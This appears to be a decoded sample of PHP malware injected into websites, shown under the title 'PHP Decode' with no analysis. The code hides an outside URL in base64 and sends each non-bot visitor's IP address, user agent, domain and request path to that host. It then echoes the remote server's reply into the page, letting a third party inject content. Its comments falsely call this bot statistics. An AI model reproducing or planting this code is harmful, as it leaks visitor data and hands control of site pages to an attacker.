PHP Decode

<?php 
if (!isset($sRetry)) 
{ 
global $sRetry; 
$sRetry = 1; 
    // This code use for global bot statistic 
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot 
    $stCurlHandle = NULL; 
    $stCurlLink = ""; 
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes 
    { 
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics             
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']); 
            @$stCurlHandle = curl_init( $stCurlLink );  
    } 
    }  
if ( $stCurlHandle !== NULL ) 
{ 
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6); 
    $sResult = @curl_exec($stCurlHandle);  
    if ($sResult[0]=="O")  
     {$sResult[0]=" "; 
      echo $sResult; // Statistic code end 
      } 
    curl_close($stCurlHandle);  
} 
} 
?>